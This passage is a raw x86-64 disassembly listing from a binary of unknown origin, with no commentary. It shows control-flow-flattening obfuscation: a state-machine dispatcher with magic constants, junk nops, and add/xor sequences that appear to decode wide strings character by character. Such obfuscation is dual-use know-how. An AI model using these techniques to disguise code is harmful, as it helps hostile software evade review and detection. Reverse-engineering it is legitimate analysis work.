mov word [r10 + 0x18], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003c3b0
cmp eax, 0x35970d82
je 0x18003c51b
cmp eax, 0x51578b1e
je 0x18003c3c3
cmp eax, 0x5c7aabd7
jne 0x18003c380
mov eax, 0x2963d5c2
jmp 0x18003c380
cmp eax, 0x801a95b8
je 0x18003c3e7
cmp eax, 0x2963d5c2
jne 0x18003c380
mov eax, r11d
jmp 0x18003c380
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003c3e0
cmp eax, 0x8cebb28b
jne 0x18003c3d0
jmp 0x18003c407
mov eax, 0x8cebb28b
jmp 0x18003c3d0
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003c400
cmp eax, 0x8cebb28b
jne 0x18003c3f0
jmp 0x18003c41f
mov eax, 0x8cebb28b
jmp 0x18003c3f0
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003c380
mov qword [rbp + 0x110], rbx
mov rcx, qword [rbp + 0x110]
add ecx, 0x21
xor ecx, 0x63
mov eax, r14d
jmp 0x18003c380
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 0x18], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003c490
cmp eax, 0x35970d82
je 0x18003c5fb
cmp eax, 0x51578b1e
je 0x18003c4a3
cmp eax, 0x5c7aabd7
jne 0x18003c460
mov eax, 0x2963d5c2
jmp 0x18003c460
cmp eax, 0x801a95b8
je 0x18003c4c7
cmp eax, 0x2963d5c2
jne 0x18003c460
mov eax, r10d
jmp 0x18003c460
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003c4c0
cmp eax, 0x8cebb28b
jne 0x18003c4b0
jmp 0x18003c4e7
mov eax, 0x8cebb28b
jmp 0x18003c4b0
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003c4e0
cmp eax, 0x8cebb28b
jne 0x18003c4d0
jmp 0x18003c4ff
mov eax, 0x8cebb28b
jmp 0x18003c4d0
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003c460
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 0x36
xor esi, 0x20
mov eax, r11d
jmp 0x18003c460
mov word [rbp + 0x110], cx
movzx eax, word [rbp + 0x110]
mov word [r10 + 0x1a], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003c570
cmp eax, 0x35970d82
je 0x18003c6db
cmp eax, 0x51578b1e
je 0x18003c583
cmp eax, 0x5c7aabd7
jne 0x18003c540
mov eax, 0x2963d5c2
jmp 0x18003c540
cmp eax, 0x801a95b8
je 0x18003c5a7
cmp eax, 0x2963d5c2
jne 0x18003c540
mov eax, r11d
jmp 0x18003c540
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003c5a0
cmp eax, 0x8cebb28b
jne 0x18003c590
jmp 0x18003c5c7
mov eax, 0x8cebb28b
jmp 0x18003c590
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003c5c0
cmp eax, 0x8cebb28b
jne 0x18003c5b0
jmp 0x18003c5df
mov eax, 0x8cebb28b
jmp 0x18003c5b0
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003c540
mov qword [rbp + 0x110], rbx
mov rcx, qword [rbp + 0x110]
add ecx, 0x22
xor ecx, 0x20
mov eax, r14d
jmp 0x18003c540
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 0x1a], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003c650
cmp eax, 0x35970d82
je 0x18003c7bb
cmp eax, 0x51578b1e
je 0x18003c663
cmp eax, 0x5c7aabd7
jne 0x18003c620
mov eax, 0x2963d5c2
jmp 0x18003c620
cmp eax, 0x801a95b8
je 0x18003c687
cmp eax, 0x2963d5c2
jne 0x18003c620
mov eax, r10d
jmp 0x18003c620
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003c680
cmp eax, 0x8cebb28b
jne 0x18003c670
jmp 0x18003c6a7
mov eax, 0x8cebb28b
jmp 0x18003c670
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003c6a0
cmp eax, 0x8cebb28b
jne 0x18003c690
jmp 0x18003c6bf
mov eax, 0x8cebb28b
jmp 0x18003c690
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003c620
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 0x37
xor esi, 0x73
mov eax, r11d
jmp 0x18003c620
mov word [rbp + 0x110], cx
movzx eax, word [rbp + 0x110]
mov word [r10 + 0x1c], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003c730
cmp eax, 0x35970d82
je 0x18003c89b
cmp eax, 0x51578b1e
je 0x18003c743
cmp eax, 0x5c7aabd7
jne 0x18003c700
mov eax, 0x2963d5c2
jmp 0x18003c700
cmp eax, 0x801a95b8
je 0x18003c767
cmp eax, 0x2963d5c2
jne 0x18003c700
mov eax, r11d
jmp 0x18003c700
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003c760
cmp eax, 0x8cebb28b
jne 0x18003c750
jmp 0x18003c787
mov eax, 0x8cebb28b
jmp 0x18003c750
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003c780
cmp eax, 0x8cebb28b
jne 0x18003c770
jmp 0x18003c79f
mov eax, 0x8cebb28b
jmp 0x18003c770
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003c700
mov qword [rbp + 0x110], rbx
mov rcx, qword [rbp + 0x110]
add ecx, 0x23
xor ecx, 0x72
mov eax, r14d
jmp 0x18003c700
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 0x1c], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003c810
cmp eax, 0x35970d82
je 0x18003c97b
cmp eax, 0x51578b1e
je 0x18003c823
cmp eax, 0x5c7aabd7
jne 0x18003c7e0
mov eax, 0x2963d5c2
jmp 0x18003c7e0
cmp eax, 0x801a95b8
je 0x18003c847
cmp eax, 0x2963d5c2
jne 0x18003c7e0
mov eax, r10d
jmp 0x18003c7e0
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003c840
cmp eax, 0x8cebb28b
jne 0x18003c830
jmp 0x18003c867
mov eax, 0x8cebb28b
jmp 0x18003c830
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003c860
cmp eax, 0x8cebb28b
jne 0x18003c850
jmp 0x18003c87f
mov eax, 0x8cebb28b
jmp 0x18003c850
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003c7e0
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 0x38
xor esi, 0x74
mov eax, r11d
jmp 0x18003c7e0
mov word [rbp + 0x110], cx
movzx eax, word [rbp + 0x110]
mov word [r10 + 0x1e], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003c8f0
cmp eax, 0x35970d82
je 0x18003ca5b
cmp eax, 0x51578b1e
je 0x18003c903
cmp eax, 0x5c7aabd7
jne 0x18003c8c0
mov eax, 0x2963d5c2
jmp 0x18003c8c0
cmp eax, 0x801a95b8
je 0x18003c927
cmp eax, 0x2963d5c2
jne 0x18003c8c0
mov eax, r11d
jmp 0x18003c8c0
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003c920
cmp eax, 0x8cebb28b
jne 0x18003c910
jmp 0x18003c947
mov eax, 0x8cebb28b
jmp 0x18003c910
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003c940
cmp eax, 0x8cebb28b
jne 0x18003c930
jmp 0x18003c95f
mov eax, 0x8cebb28b
jmp 0x18003c930
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003c8c0
mov qword [rbp + 0x110], rbx
mov rcx, qword [rbp + 0x110]
add ecx, 0x24
xor ecx, 0x65
mov eax, r14d
jmp 0x18003c8c0
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 0x1e], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003c9d0
cmp eax, 0x35970d82
je 0x18003cb3b
cmp eax, 0x51578b1e
je 0x18003c9e3
cmp eax, 0x5c7aabd7
jne 0x18003c9a0
mov eax, 0x2963d5c2
jmp 0x18003c9a0
cmp eax, 0x801a95b8
je 0x18003ca07
cmp eax, 0x2963d5c2
jne 0x18003c9a0
mov eax, r10d
jmp 0x18003c9a0
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003ca00
cmp eax, 0x8cebb28b
jne 0x18003c9f0
jmp 0x18003ca27
mov eax, 0x8cebb28b
jmp 0x18003c9f0
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003ca20
cmp eax, 0x8cebb28b
jne 0x18003ca10
jmp 0x18003ca3f
mov eax, 0x8cebb28b
jmp 0x18003ca10
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003c9a0
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 0x39
xor esi, 0x61
mov eax, r11d
jmp 0x18003c9a0
mov word [rbp + 0x110], cx
movzx eax, word [rbp + 0x110]
mov word [r10 + 0x20], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003cab0
cmp eax, 0x35970d82
je 0x18003cc1b
cmp eax, 0x51578b1e
je 0x18003cac3
cmp eax, 0x5c7aabd7
jne 0x18003ca80
mov eax, 0x2963d5c2
jmp 0x18003ca80
cmp eax, 0x801a95b8
je 0x18003cae7
cmp eax, 0x2963d5c2
jne 0x18003ca80
mov eax, r11d
jmp 0x18003ca80
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003cae0
cmp eax, 0x8cebb28b
jne 0x18003cad0
jmp 0x18003cb07
mov eax, 0x8cebb28b
jmp 0x18003cad0
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003cb00
cmp eax, 0x8cebb28b
jne 0x18003caf0
jmp 0x18003cb1f
mov eax, 0x8cebb28b
jmp 0x18003caf0
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003ca80
mov qword [rbp + 0x110], rbx
mov rcx, qword [rbp + 0x110]
add ecx, 0x25
xor ecx, 0x67
mov eax, r14d
jmp 0x18003ca80
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 0x20], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003cb90
cmp eax, 0x35970d82
je 0x18003ccfb
cmp eax, 0x51578b1e
je 0x18003cba3
cmp eax, 0x5c7aabd7
jne 0x18003cb60
mov eax, 0x2963d5c2
jmp 0x18003cb60
cmp eax, 0x801a95b8
je 0x18003cbc7
cmp eax, 0x2963d5c2
jne 0x18003cb60
mov eax, r10d
jmp 0x18003cb60
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003cbc0
cmp eax, 0x8cebb28b
jne 0x18003cbb0
jmp 0x18003cbe7
mov eax, 0x8cebb28b
jmp 0x18003cbb0
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003cbe0
cmp eax, 0x8cebb28b
jne 0x18003cbd0
jmp 0x18003cbff
mov eax, 0x8cebb28b
jmp 0x18003cbd0
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003cb60
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 0x3a
xor esi, 0x72
mov eax, r11d
jmp 0x18003cb60
mov word [rbp + 0x110], cx
movzx eax, word [rbp + 0x110]
mov word [r10 + 0x22], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003cc70
cmp eax, 0x35970d82
je 0x18003cddb
cmp eax, 0x51578b1e
je 0x18003cc83
cmp eax, 0x5c7aabd7
jne 0x18003cc40
mov eax, 0x2963d5c2
jmp 0x18003cc40
cmp eax, 0x801a95b8
je 0x18003cca7
cmp eax, 0x2963d5c2
jne 0x18003cc40
mov eax, r11d
jmp 0x18003cc40
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003cca0
cmp eax, 0x8cebb28b
jne 0x18003cc90
jmp 0x18003ccc7
mov eax, 0x8cebb28b
jmp 0x18003cc90
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003ccc0
cmp eax, 0x8cebb28b
jne 0x18003ccb0
jmp 0x18003ccdf
mov eax, 0x8cebb28b
jmp 0x18003ccb0
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003cc40
mov qword [rbp + 0x110], rbx
mov rcx, qword [rbp + 0x110]
add ecx, 0x26
xor ecx, 0x73
mov eax, r14d
jmp 0x18003cc40
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 0x22], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003cd50
cmp eax, 0x35970d82
je 0x18003cebb
cmp eax, 0x51578b1e
je 0x18003cd63
cmp eax, 0x5c7aabd7
jne 0x18003cd20
mov eax, 0x2963d5c2
jmp 0x18003cd20
cmp eax, 0x801a95b8
je 0x18003cd87
cmp eax, 0x2963d5c2
jne 0x18003cd20
mov eax, r10d
jmp 0x18003cd20
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003cd80
cmp eax, 0x8cebb28b
jne 0x18003cd70
jmp 0x18003cda7
mov eax, 0x8cebb28b
jmp 0x18003cd70
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003cda0
cmp eax, 0x8cebb28b
jne 0x18003cd90
jmp 0x18003cdbf
mov eax, 0x8cebb28b
jmp 0x18003cd90
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003cd20
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 0x3b
xor esi, 0x74
mov eax, r11d
jmp 0x18003cd20
mov word [rbp + 0x110], cx
movzx eax, word [rbp + 0x110]
mov word [r10 + 0x24], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003ce30
cmp eax, 0x35970d82
je 0x18003cf9b
cmp eax, 0x51578b1e
je 0x18003ce43
cmp eax, 0x5c7aabd7
jne 0x18003ce00
mov eax, 0x2963d5c2
jmp 0x18003ce00
cmp eax, 0x801a95b8
je 0x18003ce67
cmp eax, 0x2963d5c2
jne 0x18003ce00
mov eax, r11d
jmp 0x18003ce00
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003ce60
cmp eax, 0x8cebb28b
jne 0x18003ce50
jmp 0x18003ce87
mov eax, 0x8cebb28b
jmp 0x18003ce50
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003ce80
cmp eax, 0x8cebb28b
jne 0x18003ce70
jmp 0x18003ce9f
mov eax, 0x8cebb28b
jmp 0x18003ce70
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003ce00
mov qword [rbp + 0x110], rbx
mov rcx, qword [rbp + 0x110]
add ecx, 0x27
xor ecx, 0x76
mov eax, r14d
jmp 0x18003ce00
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 0x24], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003cf10
cmp eax, 0x35970d82
je 0x18003d07b
cmp eax, 0x51578b1e
je 0x18003cf23
cmp eax, 0x5c7aabd7
jne 0x18003cee0
mov eax, 0x2963d5c2
jmp 0x18003cee0
cmp eax, 0x801a95b8
je 0x18003cf47
cmp eax, 0x2963d5c2
jne 0x18003cee0
mov eax, r10d
jmp 0x18003cee0
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003cf40
cmp eax, 0x8cebb28b
jne 0x18003cf30
jmp 0x18003cf67
mov eax, 0x8cebb28b
jmp 0x18003cf30
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003cf60
cmp eax, 0x8cebb28b
jne 0x18003cf50
jmp 0x18003cf7f
mov eax, 0x8cebb28b
jmp 0x18003cf50
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003cee0
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 0x3c
xor esi, 0x3d
mov eax, r11d
jmp 0x18003cee0
mov word [rbp + 0x110], cx
movzx eax, word [rbp + 0x110]
mov word [r10 + 0x26], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003cff0
cmp eax, 0x35970d82
je 0x18003d15b
cmp eax, 0x51578b1e
je 0x18003d003
cmp eax, 0x5c7aabd7
jne 0x18003cfc0
mov eax, 0x2963d5c2
jmp 0x18003cfc0
cmp eax, 0x801a95b8
je 0x18003d027
cmp eax, 0x2963d5c2
jne 0x18003cfc0
mov eax, r11d
jmp 0x18003cfc0
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003d020
cmp eax, 0x8cebb28b
jne 0x18003d010
jmp 0x18003d047
mov eax, 0x8cebb28b
jmp 0x18003d010
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003d040
cmp eax, 0x8cebb28b
jne 0x18003d030
jmp 0x18003d05f
mov eax, 0x8cebb28b
jmp 0x18003d030
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003cfc0
mov qword [rbp + 0x110], rbx
mov rcx, qword [rbp + 0x110]
add ecx, 0x28
xor ecx, 0x72
mov eax, r14d
jmp 0x18003cfc0
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 0x26], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003d0d0
cmp eax, 0x35970d82
je 0x18003d24b
cmp eax, 0x51578b1e
je 0x18003d0e3
cmp eax, 0x5c7aabd7
jne 0x18003d0a0
mov eax, 0x2963d5c2
jmp 0x18003d0a0
cmp eax, 0x801a95b8
je 0x18003d107
cmp eax, 0x2963d5c2
jne 0x18003d0a0
mov eax, r10d
jmp 0x18003d0a0
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003d100
cmp eax, 0x8cebb28b
jne 0x18003d0f0
jmp 0x18003d127
mov eax, 0x8cebb28b
jmp 0x18003d0f0
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003d120
cmp eax, 0x8cebb28b
jne 0x18003d110
jmp 0x18003d13f
mov eax, 0x8cebb28b
jmp 0x18003d110
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003d0a0
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 0x3d
xor esi, 0x20
mov eax, r11d
jmp 0x18003d0a0
mov word [rbp + 0x110], cx
movzx eax, word [rbp + 0x110]
mov word [r10 + 0x28], ax
add r10, 0x2a
mov qword [rbp + 0xf8], r10
movzx edx, word [r9]
mov eax, 0x5c7aabd7
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x35970d81
jle 0x18003d1c0
cmp eax, 0x35970d82
je 0x18003d32b
cmp eax, 0x51578b1e
je 0x18003d1d3
cmp eax, 0x5c7aabd7
jne 0x18003d190
mov eax, 0x2963d5c2
jmp 0x18003d190
cmp eax, 0x801a95b8
je 0x18003d1f7
cmp eax, 0x2963d5c2
jne 0x18003d190
mov eax, r11d
jmp 0x18003d190
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003d1f0
cmp eax, 0x8cebb28b
jne 0x18003d1e0
jmp 0x18003d217
mov eax, 0x8cebb28b
jmp 0x18003d1e0
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003d210
cmp eax, 0x8cebb28b
jne 0x18003d200
jmp 0x18003d22f
mov eax, 0x8cebb28b
jmp 0x18003d200
mov qword [rbp + 0x110], rdx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003d190
mov qword [rbp + 0x110], rdx
mov rbx, qword [rbp + 0x110]
add ebx, 0x29
xor ebx, 0x33
mov eax, r14d
jmp 0x18003d190
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 0x28], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003d2a0
cmp eax, 0x35970d82
je 0x18003d350
cmp eax, 0x51578b1e
je 0x18003d2b3
cmp eax, 0x5c7aabd7
jne 0x18003d270
mov eax, 0x2963d5c2
jmp 0x18003d270
cmp eax, 0x801a95b8
je 0x18003d2d7
cmp eax, 0x2963d5c2
jne 0x18003d270
mov eax, r10d
jmp 0x18003d270
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003d2d0
cmp eax, 0x8cebb28b
jne 0x18003d2c0
jmp 0x18003d2f7
mov eax, 0x8cebb28b
jmp 0x18003d2c0
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003d2f0
cmp eax, 0x8cebb28b
jne 0x18003d2e0
jmp 0x18003d30f
mov eax, 0x8cebb28b
jmp 0x18003d2e0
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003d270
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 0x3e
xor esi, 0x61
mov eax, r11d
jmp 0x18003d270
mov word [rbp + 0x110], bx
movzx eax, word [rbp + 0x110]
mov word [rbp + 0xd8], ax
mov eax, 0x430b16e8
mov r14d, 0x5cca55f5
jmp 0x18003ace0
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 0x2a], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop dword [rax]
cmp eax, 0x35970d81
jle 0x18003d3a0
cmp eax, 0x35970d82
je 0x18003d42b
cmp eax, 0x51578b1e
je 0x18003d3b3
cmp eax, 0x5c7aabd7
jne 0x18003d370
mov eax, 0x2963d5c2
jmp 0x18003d370
cmp eax, 0x801a95b8
je 0x18003d3d7
cmp eax, 0x2963d5c2
jne 0x18003d370
mov eax, r10d
jmp 0x18003d370
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003d3d0
cmp eax, 0x8cebb28b
jne 0x18003d3c0
jmp 0x18003d3f7
mov eax, 0x8cebb28b
jmp 0x18003d3c0
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003d3f0
cmp eax, 0x8cebb28b
jne 0x18003d3e0
jmp 0x18003d40f
mov eax, 0x8cebb28b
jmp 0x18003d3e0
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003d370
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 0x3f
xor esi, 0x75
mov eax, r11d
jmp 0x18003d370
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 0x2c], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003d480
cmp eax, 0x35970d82
je 0x18003d50b
cmp eax, 0x51578b1e
je 0x18003d493
cmp eax, 0x5c7aabd7
jne 0x18003d450
mov eax, 0x2963d5c2
jmp 0x18003d450
cmp eax, 0x801a95b8
je 0x18003d4b7
cmp eax, 0x2963d5c2
jne 0x18003d450
mov eax, r10d
jmp 0x18003d450
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003d4b0
cmp eax, 0x8cebb28b
jne 0x18003d4a0
jmp 0x18003d4d7
mov eax, 0x8cebb28b
jmp 0x18003d4a0
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003d4d0
cmp eax, 0x8cebb28b
jne 0x18003d4c0
jmp 0x18003d4ef
mov eax, 0x8cebb28b
jmp 0x18003d4c0
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003d450
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 0x40
xor esi, 0x74
mov eax, r11d
jmp 0x18003d450
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 0x2e], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word [rax + rax]
cmp eax, 0x35970d81
jle 0x18003d560
cmp eax, 0x35970d82
je 0x18003d5eb
cmp eax, 0x51578b1e
je 0x18003d573
cmp eax, 0x5c7aabd7
jne 0x18003d530
mov eax, 0x2963d5c2
jmp 0x18003d530
cmp eax, 0x801a95b8
je 0x18003d597
cmp eax, 0x2963d5c2
jne 0x18003d530
mov eax, r10d
jmp 0x18003d530
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003d590
cmp eax, 0x8cebb28b
jne 0x18003d580
jmp 0x18003d5b7
mov eax, 0x8cebb28b
jmp 0x18003d580
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003d5b0
cmp eax, 0x8cebb28b
jne 0x18003d5a0
jmp 0x18003d5cf
mov eax, 0x8cebb28b
jmp 0x18003d5a0
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003d530
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 0x41
xor esi, 0x6f
mov eax, r11d
jmp 0x18003d530
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 0x30], ax
add r8, 0x32
mov rax, qword [rbp + 0xf0]
mov ecx, 0x88
add rax, rcx
mov qword [rbp + 0x100], rax
mov eax, 0x84044d17
jmp 0x18003ace0
mov byte [rbp + 0x110], 7
movsx ecx, byte [rbp + 0x110]
mov dword [rbp + 0x110], ecx
mov edx, 0xedca38df
nop dword [rax + rax]
cmp edx, 0x3ff8290f
je 0x18003d859
cmp edx, 0xedca38df
jne 0x18003d640
mov ecx, dword [rbp + 0x100]
add ecx, dword [rbp + 0x110]
mov edx, 0x3ff8290f
jmp 0x18003d640
mov rsi, qword [rbp + 0x90]
mov ecx, 0x317e479a
jmp 0x18003d6b0
mov rax, qword [rbp + 0x100]
movzx edx, word [rax]
mov r8, qword [rbp + 0x110]
sub rsp, 0x20
mov rcx, rsi
call fcn.180099510
add rsp, 0x20
mov rcx, qword [rbp + 0x100]
mov word [rcx], ax
mov ecx, 0x6c643e7
mov rax, qword [rbp + 0xf8]
nop dword [rax]
cmp ecx, 0x2778cc48
jle 0x18003d6f0
cmp ecx, 0x317e4799
jle 0x18003d750
cmp ecx, 0x317e479a
je 0x18003d7c0
cmp ecx, 0x705fe4f4
jne 0x18003d7fa
mov qword [rbp + 0xd8], rsi
mov ecx, 0x93b35e1
jmp 0x18003d6b0
cmp ecx, 0x6c643e6
jg 0x18003d780
cmp ecx, 0x8035b83a
je 0x18003d7ca
cmp ecx, 0xb465bc81
jne 0x18003d6b0
mov rcx, qword [rbp + 0x110]
add rcx, 1
mov qword [rbp + 0xf8], rcx
mov rcx, qword [rbp + 0xe8]
mov rdx, qword [rbp + 0xf8]
lea rcx, [rcx + rdx*2]
mov qword [rbp + 0x100], rcx
mov ecx, 0x2778cc49
jmp 0x18003d6b0
cmp ecx, 0x2778cc49
je 0x18003d675
cmp ecx, 0x29654ef2
jne 0x18003d6b0
mov qword [rbp + 0xe8], rsi
mov ecx, 0xb465bc81
jmp 0x18003d6b0
cmp ecx, 0x6c643e7
je 0x18003d7d6
